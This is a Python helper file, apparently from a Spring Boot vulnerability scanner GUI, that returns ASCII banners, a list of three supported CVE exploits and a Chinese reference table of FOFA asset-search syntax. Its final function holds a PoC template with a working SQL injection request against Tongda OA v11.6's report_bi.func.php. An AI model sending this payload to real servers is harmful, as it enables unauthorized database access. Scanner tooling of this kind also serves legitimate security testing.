# coding=utf-8

from util import JsonMethod

def banner():
    version_load = JsonMethod.JsonMethod()
    version = version_load.JsonRead("./config/version.json")["version"]
    string =rf''' 
  ______                       __                      _______                         __     
 /      \                     |  \                    |       \                       |  \    
|  $$$$$$\  ______    ______   \$$ _______    ______  | $$$$$$$\  ______    ______   _| $$_   
| $$___\$$ /      \  /      \ |  \|       \  /      \ | $$__/ $$ /      \  /      \ |   $$ \  
 \$$    \ |  $$$$$$\|  $$$$$$\| $$| $$$$$$$\|  $$$$$$\| $$    $$|  $$$$$$\|  $$$$$$\ \$$$$$$  
 _\$$$$$$\| $$  | $$| $$   \$$| $$| $$  | $$| $$  | $$| $$$$$$$\| $$  | $$| $$  | $$  | $$ __ 
|  \__| $$| $$__/ $$| $$      | $$| $$  | $$| $$__| $$| $$__/ $$| $$__/ $$| $$__/ $$  | $$|  \
 \$$    $$| $$    $$| $$      | $$| $$  | $$ \$$    $$| $$    $$ \$$    $$ \$$    $$   \$$  $$
  \$$$$$$ | $$$$$$$  \$$       \$$ \$$   \$$ _\$$$$$$$ \$$$$$$$   \$$$$$$   \$$$$$$     \$$$$ 
          | $$                              |  \__| $$                                        
          | $$                               \$$    $$                                        
           \$$                                \$$$$$$                                         
  ______                                  ______   __    __  ______     SpringBootScan-GUI
 /      \                                /      \ |  \  |  \|      \      Version: {version}
|  $$$$$$\  _______   ______   _______  |  $$$$$$\| $$  | $$ \$$$$$$ +-----------------------------+ 
| $$___\$$ /       \ |      \ |       \ | $$ __\$$| $$  | $$  | $$   + GUI by:  13exp              +
 \$$    \ |  $$$$$$$  \$$$$$$\| $$$$$$$\| $$|    \| $$  | $$  | $$   + https://github.com/13exp/   +
 _\$$$$$$\| $$       /      $$| $$  | $$| $$ \$$$$| $$  | $$  | $$   +-----------------------------+
|  \__| $$| $$_____ |  $$$$$$$| $$  | $$| $$__| $$| $$__/ $$ _| $$_  + Terminal by: 曾哥(@AabyssZG)+
 \$$    $$ \$$     \ \$$    $$| $$  | $$ \$$    $$ \$$    $$|   $$ \ + https://github.com/AabyssZG/+
  \$$$$$$   \$$$$$$$  \$$$$$$$ \$$   \$$  \$$$$$$   \$$$$$$  \$$$$$$ +-----------------------------+


'''
    return string
def PoC():
    string=r'''
 _______              ______  
|       \            /      \ 
| $$$$$$$\  ______  |  $$$$$$\
| $$__/ $$ /      \ | $$   \$$
| $$    $$|  $$$$$$\| $$      
| $$$$$$$ | $$  | $$| $$   __ 
| $$      | $$__/ $$| $$__/  \
| $$       \$$    $$ \$$    $$
 \$$        \$$$$$$   \$$$$$$


'''
    return string
def EXP():
    string=r'''
 ________  __    __  _______  
|        \|  \  |  \|       \ 
| $$$$$$$$| $$  | $$| $$$$$$$\
| $$__     \$$\/  $$| $$__/ $$
| $$  \     >$$  $$ | $$    $$
| $$$$$    /  $$$$\ | $$$$$$$ 
| $$_____ |  $$ \$$\| $$      
| $$     \| $$  | $$| $$      
 \$$$$$$$$ \$$   \$$ \$$
       
仅支持CVE-2022-22947                              
      CVE-2022-22965
      CVE-2022-22963


'''
    return string
def Download():
    string=r"""
  ____                      _                 _ 
 |  _ \  _____      ___ __ | | ___   __ _  __| |
 | | | |/ _ \ \ /\ / | '_ \| |/ _ \ / _` |/ _` |
 | |_| | (_) \ V  V /| | | | | (_) | (_| | (_| |
 |____/ \___/ \_/\_/ |_| |_|_|\___/ \__,_|\__,_|    


"""
    return string
def FofaInfo():
    string=r'''逻辑连接符/语法  具体含义
-----------------------------------------
=         
匹配，=""时，可查询不存在字段或者值为空的情况。
-----------------------------------------
==        
完全匹配，==""时，可查询存在且值为空的情况。
-----------------------------------------
&&        
与
-----------------------------------------
||        
或者
-----------------------------------------
!=        
不匹配，!=""时，可查询值为空的情况。
-----------------------------------------
*=        
模糊匹配，使用*或者?进行搜索，比如banner*="mys??" (个人版及以上可用)。
-----------------------------------------
()        
确认查询优先级，括号内容优先级最高。
-----------------------------------------
title="beijing"
从标题中搜索“北京”
-----------------------------------------
header="elastic"
从http头中搜索“elastic”
-----------------------------------------
header_hash="1258854265" [new]
通过http/https的响应头计算的hash值搜索
个人版及以上可用
-----------------------------------------
body="网络空间测绘"
从html正文中搜索“网络空间测绘”
-----------------------------------------
body_hash="-2090962452" [new]
通过html正文计算的hash值搜索
-----------------------------------------
fid="sSXXGNUO2FefBTcCLIT/2Q=="
查找相同的网站指纹
搜索网站类型资产
-----------------------------------------
domain="qq.com"
搜索根域名带有qq.com的网站
-----------------------------------------
icp="京ICP证030173号"
查找备案号为“京ICP证030173号”的网站
搜索网站类型资产
-----------------------------------------
js_name="js/jquery.js"
查找网站正文中包含js/jquery.js的资产
搜索网站类型资产
-----------------------------------------
js_md5="82ac3f14327a8b7ba49baa208d4eaa15"
查找js源码与之匹配的资产
-----------------------------------------
cname="ap21.inst.siteforce.com"
查找cname为"ap21.inst.siteforce.com"的网站
-----------------------------------------
cname_domain="siteforce.com"
查找cname包含“siteforce.com”的网站
-----------------------------------------
cloud_name="Aliyundun" [new]
通过云服务名称搜索资产
-----------------------------------------
product="NGINX" [new]
搜索此产品的资产
个人版及以上可用
-----------------------------------------
category="服务" [new]
搜索此产品分类的资产
个人版及以上可用
-----------------------------------------
sdk_hash=="Mkb4Ms4R96glv/T6TRzwPWh3UDatBqeF" new
搜索使用此sdk的资产
商业版及以上可用
-----------------------------------------
icon_hash="-247388890"
搜索使用此 icon 的资产
-----------------------------------------
host=".gov.cn"
从url中搜索”.gov.cn”
搜索要用host作为名称
-----------------------------------------
port="6379"
查找对应“6379”端口的资产
-----------------------------------------
ip="1.1.1.1"
从ip中搜索包含“1.1.1.1”的网站
搜索要用ip作为名称
-----------------------------------------
ip="220.181.111.1/24"
查询IP为“220.181.111.1”的C网段资产
-----------------------------------------
status_code="402"
查询服务器状态为“402”的资产
查询网站类型数据
-----------------------------------------
protocol="quic"
查询quic协议资产
搜索指定协议类型(在开启端口扫描的情况下有效)
-----------------------------------------
country="CN"
搜索指定国家(编码)的资产
-----------------------------------------
region="Xinjiang Uyghur Autonomous Region"
搜索指定行政区的资产
-----------------------------------------
city="Ürümqi"
搜索指定城市的资产
-----------------------------------------
cert="baidu"
搜索证书(https或者imaps等)中带有baidu的资产
-----------------------------------------
cert.subject="Oracle Corporation"
搜索证书持有者是Oracle Corporation的资产
-----------------------------------------
cert.issuer="DigiCert"
搜索证书颁发者为DigiCert Inc的资产
-----------------------------------------
cert.is_valid=true
验证证书是否有效，true有效，false无效
个人版及以上可用
-----------------------------------------
cert.is_match=true [new]
证书和域名是否匹配；true匹配、false不匹配
个人版及以上可用
-----------------------------------------
cert.is_expired=false [new]
证书是否过期；true过期、false未过期
个人版及以上可用
-----------------------------------------
cert.subject.org="Oracle Corporation" [new]
搜索证书持有者的组织
-----------------------------------------
cert.subject.cn="baidu.com" [new]
搜索证书持有者的通用名称
-----------------------------------------
cert.issuer.org="cPanel, Inc." [new]
搜索证书颁发者的组织
-----------------------------------------
cert.issuer.cn="Synology Inc. CA" [new]
搜索证书颁发者的通用名称
-----------------------------------------
jarm="2ad...83e81"
搜索JARM指纹
-----------------------------------------
banner="users" && protocol="ftp"
搜索FTP协议中带有users文本的资产
-----------------------------------------
type="service"
搜索所有协议资产，支持subdomain和service两种
搜索所有协议资产
-----------------------------------------
os="centos"
搜索CentOS资产
-----------------------------------------
server=="Microsoft-IIS/10"
搜索IIS 10服务器
-----------------------------------------
app="Microsoft-Exchange"
搜索Microsoft-Exchange设备
-----------------------------------------
after="2017" && before="2017-10-01"
时间范围段搜索
-----------------------------------------
asn="19551"
搜索指定asn的资产
-----------------------------------------
org="LLC Baxet"
搜索指定org(组织)的资产
-----------------------------------------
base_protocol="udp"
搜索指定udp协议的资产
-----------------------------------------
is_fraud=false [new]
排除仿冒/欺诈数据
专业版及以上可用
-----------------------------------------
is_honeypot=false
排除蜜罐数据
专业版及以上可用
-----------------------------------------
is_ipv6=true
搜索ipv6的资产
搜索ipv6的资产,只接受true和false
-----------------------------------------
is_domain=true
搜索域名的资产
搜索域名的资产,只接受true和false
-----------------------------------------
is_cloud=true [new]
筛选使用了云服务的资产
-----------------------------------------
port_size="6"
查询开放端口数量等于"6"的资产
个人版及以上可用
-----------------------------------------
port_size_gt="6"
查询开放端口数量大于"6"的资产
个人版及以上可用
-----------------------------------------
port_size_lt="12"
查询开放端口数量小于"12"的资产
个人版及以上可用
-----------------------------------------
ip_ports="80,161"
搜索同时开放80和161端口的ip
搜索同时开放80和161端口的ip资产(以ip为单位的资产数据)
-----------------------------------------
ip_country="CN"
搜索中国的ip资产(以ip为单位的资产数据)
搜索中国的ip资产
-----------------------------------------
ip_region="Zhejiang"
搜索指定行政区的ip资产(以ip为单位的资产数据)
搜索指定行政区的资产
-----------------------------------------
ip_city="Hangzhou"
搜索指定城市的ip资产(以ip为单位的资产数据)
搜索指定城市的资产
-----------------------------------------
ip_after="2021-03-18"
搜索2021-03-18以后的ip资产(以ip为单位的资产数据)
搜索2021-03-18以后的ip资产
-----------------------------------------
ip_before="2019-09-09"
搜索2019-09-09以前的ip资产(以ip为单位的资产数据)
搜索2019-09-09以前的ip资产
'''
    return string
def PoCPro():
    string = r"""{
    "id": "",
    "info": {
        "name": "",
        "author": "",
        "severity": "",
        "description": "通达OA v11.6 report_bi.func.php 存在SQL注入漏洞，攻击者通过漏洞可以获取数据库信息",
        "reference": [
            "https://peiqi.wgpsec.org/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20report_bi.func.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "cvss-score": 10.0,
            "cwe-id": "CWE-77"
        },
        "tags": "tongda,lfi",
        "metadata": {
            "max-request": 1
        }
    },
    "http": [
        {
            "method": [
                "POST"
            ],
            "path": [
                "{{BaseURL}}/general/bi_design/appcenter/report_bi.func.php"
            ],
            "Rheader": [
                "Content-Type:application/x-www-form-urlencoded & Accept-Encoding:gzip"
            ],
            "body": [
                "_POST[dataset_id]=efgh%27-%40%60%27%60%29union+select+database%28%29%2C2%2Cuser%28%29%23%27&action=get_link_info&\n"
            ],
            "matchers-condition": "and",
            "matchers": [
                {
                    "type": "word",
                    "part": "body",
                    "words": [
                        "td_oa"
                    ]
                },
                {
                    "type": "status",
                    "status": [
                        2XX
                    ]
                }
            ]
        }
    ]
}"""
    return string